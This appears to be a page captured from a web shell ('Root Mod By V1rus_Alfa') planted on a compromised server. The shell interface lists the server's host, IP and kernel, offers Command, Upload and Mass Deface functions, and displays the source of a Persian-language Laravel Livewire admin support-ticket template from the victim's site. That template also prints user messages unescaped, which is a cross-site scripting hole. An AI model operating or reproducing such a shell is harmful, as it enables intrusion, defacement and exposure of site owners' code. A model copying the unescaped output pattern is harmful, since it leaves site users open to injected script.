���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix
/
resources
/
views
/
livewire
/
admin
/
pages
/
message
/
Viewing: ticket.blade.php
<div > @include('components.layouts.general.loading',['target'=>'sendMessage']) @include('components.layouts.general.loading',['target'=>'file']) @include('components.layouts.general.loading',['target'=>'set_id']) <div class="w-11/12 p-2 mx-auto my-16 bg-white rounded-lg shadow-lg" dir="rtl"> @if($errors->any()) @foreach ($errors->all() as $error) <livewire:general.error-validate :message="$error"> @endforeach @endif <div class="min-w-full border rounded lg:grid lg:grid-cols-3"> <div class="border-l border-gray-300 lg:col-span-1"> <div class="mx-3 my-3"> <div class="relative text-gray-600"> <span class="absolute inset-y-0 left-0 flex items-center pl-2"> <svg fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" viewBox="0 0 24 24" class="w-6 h-6 text-gray-300"> <path d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"></path> </svg> </span> <input type="search" wire:model.debounce.100ms="search" class="block w-full py-2 pl-10 text-gray-900 bg-gray-100 border border-gray-300 rounded outline-none disablecopypaste focus:ring-main-700 focus:border-main-700 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-main-700 dark:focus:border-main-700" name="search" placeholder="جستجو..." /> </div> </div> <ul class="overflow-auto h-[35rem] 3xl:h-[43rem]" wire:poll> <h2 class="my-2 mb-2 mr-2 text-base text-main-700">تیکت ها</h2> <li> @foreach ($users as $item) <div wire:click="set_id('{{ $item->sender->id }}','{{ $item->sender }}','{{ $item->id }}','{{ $item->title }}')" class="px-3 @if($ticket_id == $item->id) bg-gray-100 @endif py-2 text-sm transition duration-150 ease-in-out border-b border-gray-300 cursor-pointer hover:bg-gray-100 focus:outline-none"> <a class="flex items-center w-full "> <img class="object-cover rounded-full w-14 h-14" src="{{ asset('/images/img_avatar.png') }}" alt="username" /> <div class="w-full pb-2"> <div class="flex justify-between"> <span class="block mr-2 font-semibold text-gray-600"> @if($item->sender->first_name || $item->sender->last_name ) {{ $item->sender->first_name.' '.$item->sender->last_name }} @else {{ $item->sender->mobile }} @endif </span> <div class="text-center "> <span class="block mr-2 text-sm text-gray-600 underline " dir="ltr">{{ $item->message->date_show}}</span> <div class="inline-block text-xs text-gray-600 " dir="ltr"> @if ($item->message->seen == 'no' && $item->message->status == 'user') <span class=" inline-block bg-red-100 text-red-800 text-sm font-medium mt-1 px-2.5 py-0.5 rounded dark:bg-red-200 dark:text-red-900">خوانده نشده</span> @else <span class="inline-block bg-green-100 text-green-800 text-sm font-medium mt-1 px-2.5 py-0.5 rounded dark:bg-green-200 dark:text-green-900">خوانده شده</span> @endif </div> </div> </div> <span class="block mr-2 overflow-hidden text-sm text-gray-600 w-52 text-ellipsis">{{ $item->message->msg}}</span> </div> </a> </div> @endforeach </li> </ul> </div> <div class="hidden lg:col-span-2 lg:block"> <div class="w-full"> <div class="relative flex items-center justify-between p-3 border-b border-gray-300"> @if (count($messages) > 0) <div class="w-4/12"> <span class="block mr-2 overflow-hidden font-bold text-gray-600 text-ellipsis">{{ $title }}</span> </div> <div class="w-4/12"> <select wire:model="status" wire:change='changeStatus()' class=" border py-2 border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-main-700 focus:border-main-700 block w-full p-2.5 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-main-700 dark:focus:border-main-700 "> <option @if($ticket->status == 'pending') selected="selected" @endif value="pending">در انتظار پاسخ</option> <option @if($ticket->status == 'awnser') selected="selected" @endif value="awnser">پاسخ داده شده</option> <option @if($ticket->status == 'waiting') selected="selected" @endif value="waiting">در حال برسی</option> <option @if($ticket->status == 'close') selected="selected" @endif value="close">بستن تیکت</option> </select> </div> <div class="relative flex items-center justify-end w-4/12 "> <span class="block ml-2 font-bold text-gray-600">@if(json_decode($user)->first_name || json_decode($user) ->last_name ) {{ json_decode($user)->first_name.' '.json_decode($user)->last_name }} @else {{ json_decode($user)->mobile }} @endif</span> <img class="object-cover w-10 h-10 rounded-full " src="{{ asset('/images/img_avatar.png') }}" alt="username" /> </div> @endif </div> <div id="messages" class="relative w-full p-6 overflow-y-auto h-[30rem] 3xl:h-[39rem]"> @if (count($messages) > 0) <ul class="space-y-2" > @if($messages->hasMorePages() ) <li class="flex justify-center"> <button id="loadMoreTag" wire:click.prevent="loadMore" class="w-full py-2 text-xs font-semibold text-center text-gray-700 rounded-md xl:w-3/12 focus:outline-none"> مشاهده بیشتر <svg wire:loading class="w-5 h-5 mr-3 -ml-1 text-black animate-spin" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" > <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4" ></circle> <path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z" ></path> </svg> </button> </li> @endif @foreach ($messages as $item) <li class="flex @if($item->status == 'user') justify-start @else justify-end @endif "> <div class="relative max-w-xl "> <div class="px-4 py-2 text-right @if($item->status == 'user') text-gray-700 @else bg-gray-100 @endif rounded shadow"> @if($item->type == 'text') <span class="block"> {!! nl2br($item->msg ) !!}</span> @else <a target="_blank" href="{{ env('FILE_URL').$item->msg }}" class="block text-center cursor-pointer "> <span class="block text-center text-main-700">فایل</span> <span class="block my-2 text-center text-main-700">{{ $item->mims }}</span> <i class='text-5xl bx bx-download' ></i> </a> @endif </div> <span class="block text-xs @if($item->status == 'user') text-left @else text-right @endif text-gray-300"dir="ltr">{{ $item->date_show}}</span> </div> </li> @endforeach </ul> @endif </div> <div class="flex items-center justify-between w-full p-3 border-t border-gray-300"> @if (count($messages) > 0) <button wire:click="sendMessage('text')"> <svg class="w-5 h-5 text-gray-500 origin-center transform rotate-90" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20" fill="currentColor"> <path d="M10.894 2.553a1 1 0 00-1.788 0l-7 14a1 1 0 001.169 1.409l5-1.429A1 1 0 009 15.571V11a1 1 0 112 0v4.571a1 1 0 00.725.962l5 1.428a1 1 0 001.17-1.408l-7-14z" /> </svg> </button> <textarea wire:model.defer='msg' placeholder="ارسال پیام..." class="block w-full py-2 pr-4 mx-3 text-gray-900 border border-gray-300 rounded bg-gray-50 focus:ring-main-700 focus:border-main-700 "></textarea> <input wire:model="file" id="file-input" multiple type="file" class="hidden " /> <label wire:change="sendMessage('file')" for="file-input" class="cursor-pointer "> <svg xmlns="http://www.w3.org/2000/svg" class="w-5 h-5 text-gray-500" fill="none" viewBox="0 0 24 24" stroke="currentColor"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15.172 7l-6.586 6.586a2 2 0 102.828 2.828l6.414-6.586a4 4 0 00-5.656-5.656l-6.415 6.585a6 6 0 108.486 8.486L20.5 13" /> </svg> </label> @endif </div> </div> </div> </div> </div> </div> @section('scripts') <script> const element = document.getElementById('messages'); window.onload = function() { Livewire.on('scrollDown', () => { element.scrollTop = element.scrollHeight; }) } let lastScrollTop = 0; element.onscroll = (e)=>{ if (element.scrollTop < lastScrollTop){ $('#loadMoreTag').click(); } // lastScrollTop = element.scrollTop <= 0 ? 0 : element.scrollTop; } </script> @endsection
Coded With 💗 by
0x6ick Mod By V1rus_Alfa